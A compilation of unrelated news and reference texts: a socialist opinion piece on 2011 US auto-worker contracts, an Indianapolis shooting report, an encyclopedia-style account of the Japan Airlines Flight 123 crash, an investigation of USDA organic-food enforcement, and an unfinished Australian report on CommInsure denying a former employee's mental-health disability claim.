Ranganathan, because any Sound Transit restructure must pass the Legislature. And she sees no appetite from political leaders, like Mayor Ed Murray, to Balkanize the region.
-US auto workers face historic struggle  8 September 2011  On September 14 the four-year labor agreements covering 114,000 US auto workers at GM, Ford and Chrysler expire. Although the companies have raked in more than $7 billion in profits this year, they have made it clear that workers—who have not had a raise since 2003—will see no improvements in wages or working conditions.  On the contrary, with the full backing of the Obama administration and the United Auto Workers (UAW), the auto executives are pressing ahead with plans to drive out the remaining better-paid workers and create a low-paid, casualized workforce.  If this is to be stopped, workers must find a new road of struggle, independent of the UAW. They must begin with the realization that workers face a political struggle against the Obama administration’s cuts, which are supported by the UAW.  The Obama administration’s 2009 restructuring of GM and Chrysler was the culmination of a three-decade-long assault on auto workers. With the complicity of the UAW, the White House used the threat of liquidation to slash wages in half for new-hires, dump hundreds of thousands of retirees and their families into an underfunded health insurance scheme run by the UAW, and eliminate annual wage increases, cost-of-living adjustments and unemployment protections.  The rollback has been used by corporate America to launch a wage-cutting campaign against every section of the working class. This has fueled an explosion of profits, even as mass unemployment continues and the economy slides into a deeper recession.  The low-wage benchmark set by the UAW has already set off a competitive struggle in the global auto industry, with Fiat-Chrysler boss Sergio Marchionne telling Italian workers they must accept American-style concessions or he will move production to North America for cheaper labor.  Once the highest paid industrial workers in the US, a newly hired UAW worker now earns a “tier two” wage of $14 an hour. This is the equivalent, once inflation and union dues are taken into account, to the 92 cents an hour their counterparts made in 1931—four years before the UAW was established. As for “tier one” workers, they have seen their wages’ purchasing power fall to the level of nearly a half-century ago.  Inside the factories workers face 10-12 hour days, speedup on the assembly line, shorter breaks and vacation time and the constant threat of job loss. Laid-off workers are forced to uproot their families and move hundreds of miles to take work at other plants. The UAW has also given up the right to strike at GM and Chrysler and agreed to binding arbitration, essentially stripping workers of any vote on the final contract.  The reason for this policy is not a lack of money, but the arrogance and parasitism of the auto bosses and the entire financial aristocracy. As a recent article in Automotive News noted, a four percent pay increase and the restoration of annual cost of living adjustments for Ford’s 41,000 workers would cost the company around $95.5 million—“just a tad less than the combined $98 million in pretax stock awards made in March to Ford CEO Alan Mulally and Executive Chairman Bill Ford Jr.”  Nevertheless, the industry publication wrote, corporate executives and union officials all agree that raises are “out of the question.”  Auto workers can struggle to defend their living standards only if they break with the union bureaucracy, which openly proclaims its support for deep attacks on the working class.  Thus, in his remarks to the Detroit Economic Club last month, UAW President Bob King pledged the union would not burden the companies with higher “fixed costs,” i.e., higher hourly wages. He added that the UAW was committed to maintaining the profits of the auto bosses. “We just want to make sure we come out of this negotiation over the next four years structuring our companies to succeed,” he told his audience of executives. “If you add fixed costs, they won’t be able to do that.”  Seventy-five years ago auto workers, led by socialists and left-wing militants, spearheaded the industrial organization of the American working class in the 1936 Flint sit-down strike against GM. However, the leaders of the newly organized UAW and CIO, including Walter Reuther, subordinated the working class to the Democratic Party and its promotion of anti-communism.  The implications of this historic betrayal did not become fully apparent until the late 1970s. Faced with militant workers’ struggles of the 1960s and 1970s and the rise of Asian and European competitors, US auto bosses began shutting down plants and waging a massive offensive against the workforce. In the ensuing years, workers in auto and other critical industries saw their living conditions slashed and their plants shut down, even as the wealthy enriched themselves massively with the union bureaucracy’s support.  The elevation of Bob King—the son of a Ford industrial relations manager—to the highest position in the UAW is symbolic of the going over of this organization to the side of the bosses, the bankers and the state.  The UAW is not a “union” in any meaningful sense of the word. Instead, it is a multi-billion-dollar business dedicated to the defense of corporate profits and the affluent lifestyles of the executives that run it. The main concern of the UAW apparatus is gaining seats on corporate boards and enticing the companies to bring back more production to the US, so it can collect more union dues from workers making poverty-level wages.  The only way auto workers can defeat this conspiracy is to break with the UAW and organize independently of it. This begins with the formation of rank-and-file committees to unite every section of auto workers.  These committees, democratically controlled by workers themselves, must spearhead the fight to abolish the hated two-tier wage system, restore the right to strike and mobilize the full industrial and political strength of the working class. All closed plants must be reopened and employer-paid benefits restored in order to guarantee the right to secure employment for all workers.  At the same time, auto workers must be politically armed against the bosses and the Obama administration, who will argue—while they hand over trillions of dollars in bank bailouts for Wall Street—that there is no money for the workers. This is a lie. The wealth exists, but it has been taken by the capitalists.  This means a break with the anti-communism and nationalism of the union bureaucracy and a turn by the working class to socialism. Auto workers must revive the socialist traditions of workers of an earlier generation, who consciously fought the corporations, the capitalist system and the two big business parties that defend it.  The struggle of auto workers must be linked up with the fight of the whole working class against the destruction of jobs, social programs and the transfer of wealth into the pockets of the richest one percent of society. The auto industry must be turned into a public utility, under the democratic control of the working class, as part of socialist transformation of the US and the world economy.  Jerry White  Jerry White
-× Gun battle erupts in west side apartment complex parking lot; 2 wounded  INDIANAPOLIS — Two suspects were shot and wounded in what Indianapolis Metropolitan Police are calling a gunfight in the parking lot of Westlake Apartments.  The gun play erupted shortly after 1:30 a.m. in the 6000 block of West Lake North Dr. Two patrolling IMPD officers heard the gunfire and arrived to find a male victim with a gunshot wound to the leg, still inside of a car. The vehicle had numerous bullet holes, according to police investigators.  A second gunshot victim who police say was involved in the gun battle was found in the 4500 block of N. Mission Dr. He had been shot in the groin.  Both gunshot victims were transported to Eskenazi Hospital with what police say are non-life-threatening injuries.  Police confiscated two vehicles and four firearms in what they say was a drug-related gunfight. Investigators believe as many as 30 shots were fired as the two suspects fired at each other.  IMPD working 2 people shot in the 600 block of Beachway Dr. Both victims are expected to survive. Narcotics believed to be involved. pic.twitter.com/ghK4cjGhWY — IMPD (@IMPDnews) July 4, 2017
-Japan Airlines Flight 123 was a scheduled domestic Japan Airlines passenger flight from Tokyo's Haneda Airport to Osaka International Airport, Japan. On August 12, 1985, a Boeing 747SR operating this route suffered a sudden decompression twelve minutes into the flight and crashed in the area of Mount Takamagahara, Ueno, Gunma Prefecture, 100 kilometres (62 miles) from Tokyo thirty-two minutes later. The crash site was on Osutaka Ridge, near Mount Osutaka.  Japan's Aircraft Accident Investigation Commission officially concluded that the rapid decompression was caused by a faulty repair by Boeing technicians after a tailstrike incident during a landing at Osaka Airport seven years earlier (1978). A doubler plate on the rear bulkhead of the plane had been improperly repaired, compromising the plane's airworthiness. Cabin pressurization continued to expand and contract the improperly repaired bulkhead until the day of the accident, when the faulty repair finally failed, causing the rapid decompression that ripped off a large portion of the tail and caused the loss of hydraulic controls to the entire plane.  The aircraft, configured with increased economy class seating, was carrying 524 people. Casualties of the crash included all 15 crew members and 505 of the 509 passengers. Among the dead passengers some survived the initial crash but subsequently died of their injuries hours later, mostly due to the Japan Self-Defense Forces’s decision to wait until the next day to go to the crash site, after declining an offer from a nearby United States Air Force base to start an immediate rescue operation. It remains the deadliest single-aircraft accident in aviation history.[1]  Aircraft and crew [ edit ]  The accident aircraft was registered JA8119 and was a Boeing 747-146SR (Short Range). Its first flight was on January 28, 1974. It had more than 25,000 airframe hours and more than 18,800 cycles (one cycle equals one takeoff and landing).[1]  At the time of the accident the aircraft was on the fifth of its six planned flights of the day.[2] There were fifteen crew members, including three cockpit crew and 12 flight attendants.  The cockpit crew consisted of the following:  Captain Masami Takahama ( 高浜 雅己 , Takahama Masami ) from Akita, Japan, served as a training instructor for First Officer Yutaka Sasaki on the flight, supervising him while handling the radio communications. [3] [4] [5] A veteran pilot, having logged approximately 12,400 total flight hours, roughly 4,850 of which were accumulated flying 747s, Masami Takahama was aged 49 at the time of the accident.  from Akita, Japan, served as a training instructor for First Officer Yutaka Sasaki on the flight, supervising him while handling the radio communications. A veteran pilot, having logged approximately 12,400 total flight hours, roughly 4,850 of which were accumulated flying 747s, Masami Takahama was aged 49 at the time of the accident. First Officer Yutaka Sasaki ( 佐々木 祐 , Sasaki Yutaka ) from Kobe was in line for promotion to the rank of Captain and flew Flight 123 as one of his training flights. Sasaki, who was 39 years old at the time of the incident, had approximately 4,000 total flight hours to his credit and he had logged roughly 2,650 hours in the 747.  from Kobe was in line for promotion to the rank of Captain and flew Flight 123 as one of his training flights. Sasaki, who was 39 years old at the time of the incident, had approximately 4,000 total flight hours to his credit and he had logged roughly 2,650 hours in the 747. Flight Engineer Hiroshi Fukuda ( 福田 博 , Fukuda Hiroshi) from Kyoto, the 46-year-old veteran flight engineer of the flight who had approximately 9,800 total flight hours, of which roughly 3,850 were accrued flying 747s.[6]  Passengers [ edit ]  The flight was around the Obon holiday period in Japan, when many Japanese people make yearly trips to their hometowns or resorts.[7] Around twenty-one non-Japanese boarded the flight.[8] By August 13, 1985, Geoffrey Tudor, a spokesman for Japan Airlines, stated that the list included four residents of Hong Kong, two each from Italy and the United States, and one each from West Germany and the United Kingdom.[9] Some foreigners had dual nationalities, and some of them were residents of Japan.[7]  The four survivors, all female, were seated on the left side and toward the middle of seat rows 54–60, in the rear of the aircraft.[10] The four survivors were:  Yumi Ochiai ( 落合 由美 , Ochiai Yumi ) , a 26-year-old off-duty JAL flight attendant who was jammed between seats;  , a 26-year-old off-duty JAL flight attendant who was jammed between seats; Hiroko Yoshizaki ( 吉崎 博子 , Yoshizaki Hiroko ) , a 34-year-old woman;  , a 34-year-old woman; Mikiko Yoshizaki ( 吉崎 美紀子 , Yoshizaki Mikiko ) , Hiroko's 8-year-old daughter--Hiroko and Mikiko were both trapped in an intact section of the fuselage; and  , Hiroko's 8-year-old daughter--Hiroko and Mikiko were both trapped in an intact section of the fuselage; and Keiko Kawakami ( 川上 慶子 , Kawakami Keiko) , a 12-year-old girl who was rescued from under the wreckage.[11] Air Disaster Volume 2 stated that she was wedged between branches in a tree.[12] Kawakami's parents and younger sister died in the crash, and she was the last survivor to be released from the hospital. She was treated at the Matsue Red Cross Hospital in Matsue, Shimane Prefecture before her release on Friday, November 22, 1985.[13]  Among the dead was singer Kyu Sakamoto, who was famous for the hit song known in the United States under the title "Sukiyaki."  Sequence of events [ edit ]  Route of Japan Airlines Flight 123  The aircraft landed at Haneda from New Chitose Airport at 4:50PM as JL514. After more than an hour on the ramp, Flight 123 pushed back from gate 18 at 6:04 p.m.[6] and took off from Runway 15L[2] at Haneda Airport in Ōta, Tokyo, Japan, at 6:12 p.m., twelve minutes behind schedule.[14] About 12 minutes after takeoff, at near cruising altitude over Sagami Bay, the aircraft's aft pressure bulkhead burst open due to a pre-existing defect stemming from a panel that had been incorrectly repaired after a tailstrike accident 7 years earlier. This caused a rapid decompression[15] of the aircraft, bringing down the ceiling around the rear lavatories, damaging the unpressurized fuselage aft of the bulkhead, unseating the vertical stabilizer, and severing all four hydraulic lines. A photograph taken from the ground confirmed that the vertical stabilizer was missing.[16]  The pilots set their transponder to broadcast a distress signal. Afterwards, Captain Takahama contacted Tokyo Area Control Center to declare an emergency, and to request to return back to Haneda Airport, descending and following emergency landing vectors to Oshima. Tokyo Control approved a right-hand turn to a heading of 90° east back towards Oshima, however the plane did not follow the directions and continued to fly a westerly course. It was at this point that the pilots became aware that the aircraft had become uncontrollable, and the Flight Engineer reported that the hydraulic pressure was dropping. Seeing that the aircraft was still flying west away from Haneda, Tokyo Control contacted the aircraft again. After confirming that the pilots were declaring an emergency, the controller requested as to the nature of the emergency, which the pilots did not respond to. Only after Tokyo Control repeated the direction to descend and turn to a 90° heading to Oshima did the Captain report that the aircraft had become uncontrollable. Heading over the Izu Peninsula, the pilots managed to turn towards the Pacific Ocean, then back towards the shore; Captain Takahama declined Tokyo Control's suggestion to divert to Nagoya Airport 72 miles away, instead preferring to land at Haneda.  Hydraulic fluid completely drained away through the rupture. With total loss of hydraulic control and non-functional control surfaces, the aircraft began up and down oscillations in phugoid cycles lasting about 90 seconds each. The lack of stabilizing influence from the vertical stabilizer and the rudder removed the only means to dampen yaw. Consequently, the aircraft also began to exhibit Dutch roll, simultaneously yawing right and banking right, before yawing back left and banking left, with the banks in large arcs of approximately 50° back and forth in cycles of 12 seconds. [12] In response, the pilots exerted efforts to establish stability using differential engine thrust, and they managed to slowly turn the plane back towards Haneda.  Shortly after 6:40 PM, the landing gear was lowered in an attempt to dampen the phugoid cycles and Dutch rolls. This was somewhat successful, as the phugoid cycles were dampened. However, lowering the gear also interfered with control by throttle, and the aircrew's ability to control the aircraft deteriorated.[12] Shortly after lowering the gear, the plane began a right-hand descending turn from 22,400 feet to 17,000 feet, then continued north while still descending. Upon descending to 13,500 feet (4100 m) at 6:45 PM, the pilots again reported an uncontrollable aircraft. Moments later, the aircraft began to turn to the left, despite efforts by the crew to get the plane to continue to turn right and avoid the mountains.  The aircraft after rapid decompression, with its vertical stabilizer missing  As the aircraft continued west, they descended below 7,000 feet (2100 m), then entered a rapid climb and nearly stalled the plane at 8,000 feet, before returning to an unsteady climb. At 6:51 PM, the Captain lowered the flaps 5 units via an alternate electrical system as an additional attempt to exert control over the stricken jet.[12][2] The aircraft reached 13,000 feet (4000 m) at 6:53 PM, at which point the pilots reported an uncontrollable plane for the third time. At approximately 6:54 PM, the crew lowered flaps to 10 units, but this began to cause the plane to bank increasingly to the right. One minute later, the flaps were extended to 25 units, which caused the aircraft to bank further to the right beyond 60°, and the nose began to drop.[2] Captain Takahama immediately ordered the flaps to be retracted, and was heard on the cockpit voice recorder desperately requesting for more power to be applied in a last-ditch effort to raise the nose. [17] However the plane continued to enter an uncontrollable right-hand descent into the mountains and disappearing from radar at 6:56 p.m. at 6,800 feet (2100 m). In the final moments, the wing clipped a mountain ridge. During a subsequent rapid plunge, the plane then slammed into a second ridge, then flipped and landed on its back.[2]  The aircraft's crash point, at an elevation of 1,565 metres (5,135 ft), is located in Sector 76, State Forest, 3577 Aza Hontani, Ouaza Narahara, Ueno Village, Tano District, Gunma Prefecture. The east-west ridge is about 2.5 kilometres (8,200 ft) north north west of Mount Mikuni.[18] Ed Magnuson of Time magazine said that the area where the aircraft crashed was referred to as the "Tibet" of Gunma Prefecture.[4] The elapsed time from the bulkhead failure to the crash was 32 minutes.[19][2](pp123,127)  Delayed rescue operation [ edit ]  United States Air Force controllers at Yokota Air Base situated near the flight path of Flight 123 had been monitoring the distressed aircraft's calls for help. They maintained contact throughout the ordeal with Japanese flight control officials and made their landing strip available to the aeroplane. The Atsugi Naval Base also cleared their runway for JAL 123 after being alerted of the ordeal. After losing track on radar, a U.S. Air Force C-130 from the 345th TAS was asked to search for the missing plane. The C-130 crew was the first to spot the crash site 20 minutes after impact, while it was still daylight. The crew sent the location to Japanese authorities and radioed Yokota Air Base to alert them and directed a Huey helicopter from Yokota to the crash site. Rescue teams were assembled in preparation to lower Marines down for rescues by helicopter tow line. Despite American offers of assistance in locating and recovering the crashed plane, an order arrived, saying that U.S. personnel were to stand down and announcing that the Japan Self-Defense Forces were going to take care of it themselves and outside help was not necessary. To this day, it is unclear why U.S. forces were denied permission to begin their intended search and rescue missions.[citation needed]  Although a JSDF helicopter eventually spotted the wreck during the night, poor visibility and the difficult mountainous terrain prevented it from landing at the site. The pilot reported from the air that there were no signs of survivors. Based on this report, JSDF personnel on the ground did not set out to the site the night of the crash. Instead, they were dispatched to spend the night at a makeshift village erecting tents, constructing helicopter landing ramps and engaging in other preparations, 63 kilometers (39.1 miles) from the wreck. Rescue teams did not set out for the crash site until the following morning. Medical staff later found bodies with injuries suggesting that individuals had survived the crash only to die from shock, exposure overnight in the mountains, or from injuries that, if tended to earlier, would not have been fatal.[12] One doctor said "If the discovery had come ten hours earlier, we could have found more survivors."[20]  Off-duty flight attendant Yumi Ochiai, one of the four survivors out of 524 passengers and crew, recounted from her hospital bed that she recalled bright lights and the sound of helicopter rotors shortly after she awoke amid the wreckage, and while she could hear screaming and moaning from other survivors, these sounds gradually died away during the night.[12]  Cause [ edit ]  The official cause of the crash according to the report published by Japan's Aircraft Accident Investigation Commission is as follows:  Correct (top) and incorrect splice plate installations  The aircraft was involved in a tailstrike incident at Osaka International Airport seven years earlier as JAL Flight 115, which damaged the aircraft's rear pressure bulkhead. The subsequent repair of the bulkhead did not conform to Boeing's approved repair methods. For reinforcing a damaged bulkhead, Boeing's repair procedure calls for one continuous splice plate with three rows of rivets.[21] However, the Boeing technicians carrying out the repair had used two splice plates parallel to the stress crack.[22][23] Cutting the plate in this manner negated the effectiveness of one of the rows of rivets, reducing the part's resistance to fatigue cracking to about 70% of that for a correct repair. During the investigation, the Accident Investigation Commission calculated that this incorrect installation would fail after approximately 10,000 pressurization cycles; the aircraft accomplished 12,318 successful flights from the time that the faulty repair was made to when the crash happened.[24] Consequently, after repeated pressurization cycles during normal flight, the bulkhead gradually started to crack near one of the two rows of rivets holding it together. When it finally failed, the resulting rapid decompression ruptured the lines of all four hydraulic systems and ejected the vertical stabilizer. With many of the aircraft's flight controls disabled, the aircraft became uncontrollable.[25]  Aftermath and legacy [ edit ]  Flight 123 accident monument in Fujioka  The Japanese public's confidence in Japan Airlines took a dramatic downturn in the wake of the disaster, with passenger numbers on domestic routes dropping by one third. Rumors persisted that Boeing had admitted fault to cover up shortcomings in the airline's inspection procedures, thus protecting the reputation of a major customer.[12] In the months after the crash, domestic traffic decreased by as much as 25%. In 1986, for the first time in a decade, fewer passengers boarded JAL's overseas flights during the New Year period than the previous year. Some of them considered switching to All Nippon Airways as a safer alternative.[26]  JAL paid ¥780 million (US$7.6 million) to the victims' relatives in the form of "condolence money" without admitting liability. JAL president, Yasumoto Takagi (高木 養根), resigned.[12] In the aftermath of the incident, Hiroo Tominaga, a JAL maintenance manager, killed himself to atone for the incident,[27] while Susumu Tajima, an engineer who had inspected and cleared the aircraft as flightworthy, committed suicide due to difficulties at work.[28]  In compliance with standard procedures, Japan Airlines dropped the flight number 123 for their Haneda-Itami routes, changing it to Flight 121 and Flight 127 on September 1, 1985. While Boeing 747s were still used on the same route operating with the new flight numbers in the years following the crash, they were replaced by the Boeing 767 or Boeing 777 in the mid-1990s. The 747s continued serving JAL until their 2011 retirement. March 2 of the same year saw the retirement of the airline's final two 747s, which were -400 series.  In 2009, stairs with a handrail were installed to facilitate visitors' access to the crash site. Japan Transport Minister Seiji Maehara visited the site on August 12, 2010, to pray for the victims.[29] Families of the victims, together with local volunteer groups, hold an annual memorial gathering every August 12 near the crash site in Gunma Prefecture.[30]  The crash led to the 2006 opening of the Safety Promotion Center,[31][32] which is located in the Daini Sogo Building in the grounds of Haneda Airport.[33] This center was created for training purposes to alert employees to the importance of airline safety and their personal responsibility to ensure safety. The center has displays regarding aviation safety, the history of the crash, and selected pieces of the aircraft and passenger effects (including handwritten farewell notes). It is open to the public by appointment made two months prior to the visit.[34]  The captain's daughter, Yoko Takahama, who was a high school student at the time of the crash, went on to become a flight attendant for Japan Airlines.[35]  Diana Yukawa, who was born after the crash, and her older sister Cassie, were the daughters of English ballet dancer Susanne Bayly and married Japanese banker Akihisa Yukawa. Yukawa died in the crash, and Bayly received a £340,000 settlement to sign papers effectively disinheriting her daughters and to remain silent, preventing embarrassment to Yukawa’s family. The sisters received an undisclosed payout from the airline in 2002.[36]  In popular culture [ edit ]  See also [ edit ]  Similar accidents involving loss of flight controls:  United Airlines Flight 232 – caused by a catastrophic engine failure, 1989  Baghdad DHL attempted shootdown incident – caused by a surface-to-air missile striking the left wing, 2003
-The U.S. Department of Agriculture fails at regulation of organic food as fraudulent products overwhelm the agency’s conflicted, compromised system, a NerdWallet investigation has found.  The USDA’s National Organic Program has not kept up with the explosive growth of organic food production and sales — either in staffing or enforcement, NerdWallet found.  Since the program began two decades ago, organic food sales in the U.S. have soared to a record $43 billion a year and currently account for 5% of the U.S. food market, according to the Organic Trade Association.  The system today enables high-dollar fraud, as swindlers exploit high premiums charged by honest players for the risks, expense and hard work of producing genuine organics.  The USDA’s failings undermine authentic producers and tarnish the agency’s organic seal, jeopardizing its promise as an emblem of trust.  “The National Organic Program just isn’t getting the job done,” says Richard Mathews, a former senior organic-program official who now directs the Western Organic Dairy Producers Alliance. “If USDA officials are not willing to enforce the regulations that are on the books, and do it aggressively, then they need to get out of the organic sector altogether.”  Among NerdWallet’s findings:  The USDA creates conflicts of interest by allowing cozy relationships between growers/processors and the companies that certify their operations as organic. The USDA accredits 80 certifiers worldwide. However, those certifiers are paid not by the agency, but by the growers and processors they certify. And the growers and processors get to choose their certifiers from the list.  It does not require certifiers to be neutral arbiters. Instead, certifiers are allowed to advocate on behalf of the companies they certify, harass critics and lobby for changes in rules governing the organics industry.  The agency often asks and trusts certifiers to look into alleged violations by their customers, instead of investigating independently.  It fails to investigate allegations that its certifiers have engaged in fraud or collusion.  The USDA badly understaffs its National Organic Program. To investigate certification irregularities and fraud, the division has just five compliance officers, one for every $9 billion in certified-organic food sales, says Mathews, the former agency official. He estimated that compliance officers had a backlog of as many as 500 cases; they closed hundreds of them this year in a drive to reduce the backlog.  It hires compliance officers who lack law enforcement and investigative experience. The director of organic compliance and enforcement is a former USDA policy advisor, marketing specialist and grants manager with a background in university administration.  Enforcement actions are cloaked in secrecy. Watchdog organizations, commercial ventures and the media must file public-records requests to get basic information concerning investigations and outcomes. One organization, the Cornucopia Institute, has filed 10 lawsuits alleging illegal delays, overuse of exemptions to freedom of information rules requiring release of public records, and other tactics.  The USDA caps penalties at $11,000 per violation, a minuscule sum compared with the multimillion-dollar profits a dishonest producer gets from selling a single ship full of conventionally grown produce as organic.  It rarely goes to court and instead often settles fines for pennies on the dollar in unannounced agreements, even after proving willful violations.  The agency buries its form for reporting allegations concerning certifiers on an obscure website page and imposes restrictive requirements on filing complaints.  It doesn’t require importers to produce organic certificates for each incoming shipping container. By contrast, in the European Union, authorities are switching to electronic certification documents at borders to track shipments and prevent forgery.  It doesn’t require certification of importers, traders or brokers and fails to create a chain of custody from farms to stores, as the EU does. Importers can accept forged certificates, passing along fake organics using paperwork from companies that didn’t produce the food.  It coordinates poorly with other agencies. The USDA Inspector General reported last year that U.S. Customs officials order some organic imports to be fumigated for insects, using chemicals not approved by the National Organic Program, but then return the food to the organic distribution channel.  The agency lacks access to a Customs database and therefore the ability to track or intercept incoming ships from abroad, let alone from regions known for fraud. Massive shiploads of falsely labeled organic corn and soybeans from known fraud centers have depressed prices, causing U.S. growers to lose nearly $250 million in sales in two years, says John Bobbe, executive director of Ofarm, a group of U.S. organic grain and livestock producers.  It fails to focus on vulnerable points in the supply chain, such as by performing unannounced inspections, chemical testing and checks to ensure that purchases of organic supplies match amounts of products sold.  It fumbles coordination with certifiers’ foreign offices, lacking contacts abroad.  The agency touts a faulty online database. Presented as a comprehensive list of businesses and certifiers, the Organic Integrity Database is riddled with errors and omissions that bedevil agency officers as well as the public. A review of the list found that various names of companies, suspensions and violations were missing.  It refuses to explain its organic program to the media or publicly address fraud allegations. NerdWallet was not allowed to interview agency employees despite repeated requests to its public information office over three months. The agency’s accredited certifiers were even less responsive.  Read more from NerdWallet’s investigation
-The case of a former Commonwealth Bank employee provides a chilling insight into how the bank’s insurance arm delays and dodges paying legitimate mental health claims – even one from one of its own.  M  atthew Attwater’s voice cracks as he recalls the day his world shattered. What began as a disagreement with a family member quickly got out of hand.  The relative, who had a history of violence, went on a rampage, beating Attwater and decapitating the miniature fox terrier that he’d loved since he was 11.  “It was something my coping mechanism wasn’t able to process,” Attwater says.  It was an event that would send his life spiralling - and the safety net he had spent years paying for would provide little protection.  The day after the attack, Attwater showed up to work at Commonwealth Bank covered in bruises.  He loved his customer service job and was one of the bank’s best. Customers wrote letters of thanks to him and managers showered him with praise.  In 2010, the bank even flew him and a friend to Hobart for the “Best of the Best” gala award night where he took out a top honour, chosen from amongst the bank’s 44,000 workers.  Ralph Norris, then chief executive, personally praised the young man.  Attwater was looking forward to a bright future. Instead, a year later, his world started falling apart as he struggled to cope with the aftermath of the violent attack in 2011.  At about the same time, police raided his house, finding an illicit party drug, GBL. He would be eventually sentenced to 400 hours of community service with the court finding that mental illness contributed to the offence.  Matthew Attwater “I NEEDED SUPPORT FROM MY EMPLOYER”  At work, things were going downhill. Attwater started on anti-depression medication but it made him tired and he began to lose concentration.  Colleagues noticed that after tense calls with customers he would slam down the phone and rant. Managers started micro-managing his work.  Attwater, now 32, didn’t know it at the time but he was suffering from post-traumatic stress disorder.  “That job was the last thing that I had in my life that was any type of link to my past. It was the last little bit of independence that I had,” he says.  “It was the last thing that I had control of. And it was systematically broken down by management that were not interested.”  The bank organised for him to see a forensic psychiatrist.  He went to the appointment in the belief the bank wanted to help get him back on track, to be “that best of the best, to be that employee that made them smile, that made them lots of money”.  It wasn’t to be.  The psychiatrist’s report questioned whether Attwater would be able to function in the bank or the general workforce “at any foreseeable time in the future or in any ongoing manner”.  It found that his symptoms were “severe” including that Attwater “presents as a severely disabled person who is markedly affected by a cluster of psychiatric symptoms which would fall under the broad heading of PTSD. In addition there were strong elements of social phobia.”  In 2013, he advised that Attwater be medically retired from the bank and the workforce in general – an assessment backed by the bank’s chief medical adviser.  There was a silver lining. As a Commonwealth employee, Attwater was insured for total and permanent disability by the bank’s own insurance arm, CommInsure, through Commonwealth Bank Group Super.  Having been deemed incapable of working by the bank, it seemed clear he would be entitled to a payout.  But even for a once-lauded former employee, getting a payout from CommInsure wasn’t to be so simple.  Mental health  issues ... ... account for 21% of claims made to CommInsure and 24% of claims paid by dollar value.  F  or the $44 billion life insurance industry, mental health is proving to be one of its greatest challenges. One in five Australians will experience at least one bout of mental illness and, according to the World Health Organisation, by 2030 depression will be the biggest health burden, economically and sociologically.  It is understood that mental health claims against CommInsure represent 21 per cent of claims by volume and a whopping 24 per cent of claims paid by dollar value.  It is clear that the life insurance industry is scrambling to cope with Australia’s burgeoning mental health crisis.  And there is evidence that insurers, in trying to reel in mental health-related costs, are unfairly denying people coverage or rejecting claims – often on the basis of flimsy diagnoses or outdated beliefs about mental illness.  ​Our joint Fairfax-Four Corners investigation has unearthed how CommInsure insurance underwriters are told to ​be on the ​look ​out​ for long lists of risk factors or markers in customers​ that might foreshadow future mental health problems, even in people with no history of such issues.  These include perfectionism, working excessive hours, having financial problems, being new in business and being older than 50. These are then used as a pretext to amend or deny insurance coverage.  ​It is understood that ​CommInsure underwriters are instructed to refuse applications from asylum-seekers and refugees until they have been in the country for two years.  When considering a new life insurance policy, underwriters are told to be aware of any of the following symptoms in new mothers: a persistently low mood, feelings of inadequacy, confusion, poor self care, insomnia, guilt or fear of being rejected by partner.  The problem is that ​insurance underwriters have no formal qualifications ​to assess mental health disorders​, says ​Beyond Blue chief executive Georgie Harman​. She​ says CommInsure is using outdated mental health stereotypes to risk ​-​ assess policyholders.  “To have people without formal qualifications assessing risk in this way would be like assuming somebody has cancer because they have lost weight,” she says. “Symptoms like sleeping difficulties, or personal traits such as perfectionism, are widespread in the community and not necessarily indicative of any underlying mental health conditions.”​  Insurance is one of the few sectors that is allowed to discriminate under law but this discrimination must be justified with rigorous actuarial data.  Since 2002, Beyond Blue has tried to work with the industry to get the statistical data that backs up how it discriminates against the mentally ill. But the industry has so far failed to hand it over.  It is understood that CommInsure paid out more than $70 million on suicide claims in the five years to 2012, most of which came from its “wholesale” insurance business – the insurance policies provided to industry super fund members.  In June 2012, CommInsure is believed to have considered imposing a 13 month exclusion period on suicide claims from industry super fund members, in a bid to reel in costs. Concerned about a backlash at such a move, it proposed offering instead a $20,000 funeral benefit.​  Jeff Kennett Beyond Blue  chairman “It’s a David and Goliath job.”  Matthew Attwater thought he was on safe ground with his forensic psychiatrist’s report confirming he could no longer work.  “I was retired from the workforce,” he says. “It was a blanket statement which stipulated that I could no longer work in any industry doing anything.”  But his claim with CommInsure for total and permanent disability was rejected.  From Commonwealth Bank Group Super To Matthew Attwater “You are not totally and permanently disabled in terms of the definition in the policy of insurance.” Read full letter here  CommInsure deployed its own interpretation of the forensic psychiatrist report used to discharge Attwater from employment to justify its argument that he had a chance of re-entering the workforce at some point.  The report said should medical retirement be considered it would be "appropriate" for Attwater to receive psychiatric treatment to help through the adjustment. CommInsure argued this meant he could recover with the help of treatment.  Attwater was trapped in a bureaucratic vicious cycle. Without an insurance payout, he had no means of paying for a psychiatrist.  “They knew that I was unable to pay $500 an hour to get to see a psychiatrist. They declined me on a technicality.”  Attwater’s lawyer, William Barsby from Shine Lawyers, says Attwater’s claim was straightforward and lawyers should never have needed to be involved.  “The bank made that decision and they even obtained their own expert evidence to support that… then faced with that evidence CommInsure and the CBA super scheme attempt to deny his claim.”  Barsby said the bank had tried to “hide under the corporate veil” by arguing that its divisions involved in the case – the bank, which Attwater worked for, the CBA super fund and CommInsure – each operated as separate bodies.  “But the reality is they’re all under one veil and they all come down to the same information and to hide behind that corporate veil is just absurd in my view.”  The delays and denials added to Attwater's mental and financial stresses, which, at times, included him being forced to sleep in his car.  Attwater’s dismissal shocked Beyond Blue chairman Jeff Kennett, who describes it as “disgraceful” and totally wrong.  “You don’t go and dismiss someone because they’ve got mental illness. There are programs internally and programs externally to help,” he says.  “If you’re saying to an individual you’re no good or your illness can’t be treated, you’re doing great psychological damage to that individual.”  Matthew Attwater “It was like a slap in the face.”  D  elays in processing claims can place people under enormous mental pressure.  “There’s three key things that they do. They deny the case, they’ll delay it and they’ll defend it and in Matthew’s case they delayed it from the very outset,” Barsby says.  Kennett agrees. “And please remember, these companies are taking premiums every year and then they deny a person that claims,” he says.  “They don’t offer to pay the premiums back but they will, invariably as seems to be the case here, delay the process, they weaken the individual so these cashed-up organisations literally trample over the individual rights of so many citizens. And it is wrong.”  Commonwealth chief executive Ian Narev says he accepts that the bank has “much more work to do to bring our understanding of mental illness up to the level it ought to be at.”  Ian Narev CEO of CBA “We have got a long way to go.” Watch the full interview here  Asked about Mr Attwater's situation, Mr Narev said, “I understand from what you said how he must be feeling, and again I reiterate, I think from the employment perspective, from the insurance perspective, from all different ways in which we participate in the community, we have got a long way to go on mental illness.”  According to the Financial Ombudsman Service, complaints about delays in handling total and permanent disability (TPD) claims contributed to a surge in disputes between insurers and customers last year. The service handled 188 TPD disputes in 2014-15, up sharply from 133 the year before.  Since Attwater was “ill-health retired” from the bank, his lawyers have arranged for seven different psychiatrist and other medical reports, all supporting his claim.  During the joint investigation, CommInsure finally decided to settle Attwater’s case.  It took him three years and pushed him to the 